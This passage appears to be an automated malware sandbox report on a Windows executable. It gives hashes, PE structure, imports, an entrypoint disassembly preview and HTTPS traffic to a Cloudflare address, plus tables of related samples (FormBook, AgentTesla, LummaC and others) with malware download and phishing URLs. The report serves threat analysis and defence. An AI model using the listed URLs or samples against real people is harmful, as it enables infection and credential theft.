	BL Draft.exe	Get hash	malicious	FormBook	Browse	www.ediancai.cn/x7r2/
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/btd2ptah/download
	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Get hash	malicious	FormBook	Browse	www.ad14.fun/oc7s/
	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	www.ad14.fun/oc7s/
	9098393827383039.exe	Get hash	malicious	FormBook	Browse	www.coinwab.com/kqqj/
	SOA 020724.exe	Get hash	malicious	FormBook	Browse	www.ad14.fun/az6h/?Vn=Ydx4qJJ0n&3jJlx=2tWzkzncG4ra8DBegJJBToW7oB13AdJXZ1KkbDLW+Ah9MGsNEQDOdLre6u2t4zOJ63yLnsPJ97sPnqMxsSzbOxuABFq0Im2Ecm9EQ8GOdhogxDCvRrrALITlDFg7ZHNgcXHQPxMcHnGf

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	XX(1).exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	OVER DUE INVOICE PAYMENT.docx	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AW0S.sdscondo.com/index.xml%23?email=cGV0ZXIuYnJvd24yM0Bxci5jb20uYXU=	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	Ship Docs_CI PL HBL COO_.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://rb.gy/zsqpja	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://singingfiles.com/show.php?l=0&u=2156442&id=64574	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://business.ifbsmetaiidentiityconfirms.com/meta-community-standard100068928266341/	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	http://services.business-manange.com/	Get hash	malicious	HTMLPhisher	Browse	172.67.138.117
	http://pub-2e7429ed1f544f43a4684eeceb978dbb.r2.dev/home.html	Get hash	malicious	HTMLPhisher	Browse	104.18.2.35
	http://helpdesk-advertising-review-id-9865133.d3m7n55z273utf.amplifyapp.com/index.html	Get hash	malicious	Unknown	Browse	104.26.8.44

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	qeUaxJCA3FO.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	188.114.96.3
	https://www.support.cryptoplanet.in/downloads.php	Get hash	malicious	Unknown	Browse	188.114.96.3
	swift_copy.docx.doc	Get hash	malicious	Unknown	Browse	188.114.96.3
	Vq3Ri8EP9z.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Win64.Malware-gen.20485.10039.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	188.114.96.3
	BDQfYL99b2.exe	Get hash	malicious	Remcos	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.437009110478457
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	6xmBUtHylU.exe
File size:	6'814'720 bytes
MD5:	b82c80a3ce9b5c44391d3f11307f8b8e
SHA1:	7480059bc051383eaaf0d83b7f39d7c4989e4dea
SHA256:	ce9b5ec3693188ed91e363e55286cd212f44912b042bd83a924af2f43daaa55f
SHA512:	c04bb5a116dfbe2599ce91e084888d5c051e831812ed75e7d0fd40373f0f0ade7701246a433cf5552b5b8b370155b95547f8165d7d38c76325124c7afbf431e2
SSDEEP:	49152:8im7Z/AvmNVNL6B6QeuuLlKHqhk/6eYivn7Bp+CiOo0NGpkAF3j+5E3BN7ObFb+I:/fe3F8+eYYn1liONE3B2AK8i
TLSH:	BE664907E99C45EAC3AB923185628252BA717C4C7B212FD33A94F73C2E72BD05E75784
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$.p'...g................@.............................Pq.......h...`... ............................

File Icon


Icon Hash:	0f3371686865330f

Static PE Info

General

Entrypoint:	0x1400014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x4026c940, 0x1, 0x4026c910, 0x1, 0x402703b0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	c595f1660e1a3c84f4d9b0761d23cd7a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00618B95h]
mov dword ptr [eax], 00000001h
call 00007F4A045F506Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00618B75h]
mov dword ptr [eax], 00000000h
call 00007F4A045F504Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F4A0486B5CCh
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F4A045F5389h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword ptr [eax]
inc edi
outsd
and byte ptr [edx+75h], ah
imul ebp, dword ptr [esp+20h], 203A4449h
and bl, byte ptr [edx+4Ch]
push edx
inc edi
dec eax
imul ecx, dword ptr [edx+30h], 644C594Fh
push 00000047h
dec esi
push 2F6A5666h
inc esi
jc 00007F4A045F5403h
inc edx
dec ebx
dec eax
outsd
dec esp
xor eax, 7A754763h
push esi
push ecx
jo 00007F4A045F540Bh
dec esp
xor eax, 44392F79h
popad
outsd
dec ebp
inc esp
outsb
js 00007F4A045F5416h
push 52735338h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x6ba000	0x4e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6bb000	0x1458	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6bf000	0x46654	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x61b000	0xeb14	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x706000	0xe06c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x6199c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x6bb494	0x458	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x276ee0	0x277000	21328c5de759c0a70434f2e4bf5baab3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x278000	0x58f30	0x59000	a5c934d1e605016ca9bc9e34c2572463	False	0.30690122454353935	dBase III DBT, version number 0, next free block index 10, 1st item "soft/go-winio\011v0.6.2\011h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY="	4.847467174274334	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2d1000	0x3497f0	0x349800	8f76f8e497ad9511624c7612678654c7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x61b000	0xeb14	0xec00	1c047672cc8864685f7e5360cd89867e	False	0.4103548728813559	data	5.5899386037201815	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x62a000	0xc50	0xe00	8508355d6440a3304e32acf5da5b3b2b	False	0.25809151785714285	data	3.991763933880241	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x62b000	0x8f000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x6ba000	0x4e	0x200	eca7ca2477ab9129d5e54a0760db31a9	False	0.130859375	data	0.8387805141107897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0x6bb000	0x1458	0x1600	b99b46cf2c4cc37c3dbf4aa138ce03fc	False	0.29829545454545453	data	4.3423408018444025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x6bd000	0x70	0x200	01fc1744f2f71b31ee52667346735f67	False	0.0859375	data	0.4692395374032078	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x6be000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x6bf000	0x46654	0x46800	0ec7e9d5ee951e7482e14aa00bdc7083	False	0.043796404033687945	data	2.6688583948899858	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x706000	0xe06c	0xe200	23255e5e76b09febdd2b719c1ad385f2	False	0.25114076327433627	data	5.434881914627796	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x6bf1cc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.32978723404255317
RT_ICON	0x6bf634	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.19699812382739212
RT_ICON	0x6c06dc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.17448132780082987
RT_ICON	0x6c2c84	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 0			0.031367429061751044
RT_GROUP_ICON	0x704cac	0x3e	data			0.7903225806451613
RT_VERSION	0x704cec	0x308	data	English	United States	0.43041237113402064
RT_MANIFEST	0x704ff4	0x660	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.39767156862745096

Imports

DLL

Import

KERNEL32.dll

AddAtomA, AddVectoredContinueHandler, AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreA, CreateThread, CreateWaitableTimerExW, DeleteAtom, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FormatMessageA, FreeEnvironmentStringsW, GetAtomNameA, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetErrorMode, GetHandleInformation, GetLastError, GetProcAddress, GetProcessAffinityMask, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, RaiseFailFastException, ReleaseMutex, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, RtlLookupFunctionEntry, RtlVirtualUnwind, SetConsoleCtrlHandler, SetErrorMode, SetEvent, SetLastError, SetProcessAffinityMask, SetProcessPriorityBoost, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WerGetFlags, WerSetFlags, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler

msvcrt.dll

___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthread, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fmode, _initterm, _lock, _memccpy, _onexit, _setjmp, _strdup, _ultoa, _unlock, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, longjmp, malloc, memcpy, memmove, memset, printf, realloc, signal, strerror, strlen, strncmp, vfprintf, wcslen

Exports

Name	Ordinal	Address
_cgo_dummy_export	1	0x1406b9230

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 5, 2024 06:03:09.722399950 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:09.722450018 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:09.722527981 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:09.725661039 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:09.725681067 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.212552071 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.212654114 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.215186119 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.215197086 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.215440989 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.263241053 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.263267994 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.263340950 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.641165018 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.641261101 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.641314030 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.642874002 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.642884970 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.642899990 CEST	49711	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.642905951 CEST	443	49711	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.661523104 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.661570072 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:10.661637068 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.663453102 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:10.663475990 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.137254953 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.137417078 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.139765024 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.139770985 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.140096903 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.141432047 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.141484022 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.141505003 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.537487984 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.537530899 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.537590027 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.537596941 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.537605047 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.537642956 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.537647009 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.537949085 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.538005114 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.538011074 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.538202047 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.538228989 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.538250923 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.538259029 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.538300991 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.542226076 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.542287111 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.542330980 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.542342901 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.591516972 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.627453089 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.627504110 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.627540112 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.627564907 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.627578020 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.627610922 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.627615929 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.627672911 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.627722979 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.627849102 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.627866983 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.627880096 CEST	49712	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.627885103 CEST	443	49712	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.761686087 CEST	49713	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.761718035 CEST	443	49713	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:11.761791945 CEST	49713	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.762186050 CEST	49713	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:11.762202978 CEST	443	49713	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:12.264345884 CEST	443	49713	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:12.264552116 CEST	49713	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:12.265976906 CEST	49713	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:12.265985012 CEST	443	49713	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:12.266217947 CEST	443	49713	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:12.268119097 CEST	49713	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:12.268270969 CEST	49713	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:12.268306017 CEST	443	49713	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:12.715369940 CEST	443	49713	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:12.715485096 CEST	443	49713	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:12.715565920 CEST	49713	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:12.715796947 CEST	49713	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:12.715817928 CEST	443	49713	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:12.827904940 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:12.827936888 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:12.828030109 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:12.828372955 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:12.828387022 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:13.328937054 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:13.329030991 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:13.330425024 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:13.330440044 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:13.330677032 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:13.331938982 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:13.332107067 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:13.332142115 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:13.332207918 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 5, 2024 06:03:13.332215071 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:13.769699097 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 5, 2024 06:03:13.769808054 CEST	443	49714	188.114.96.3	192.168.2.6
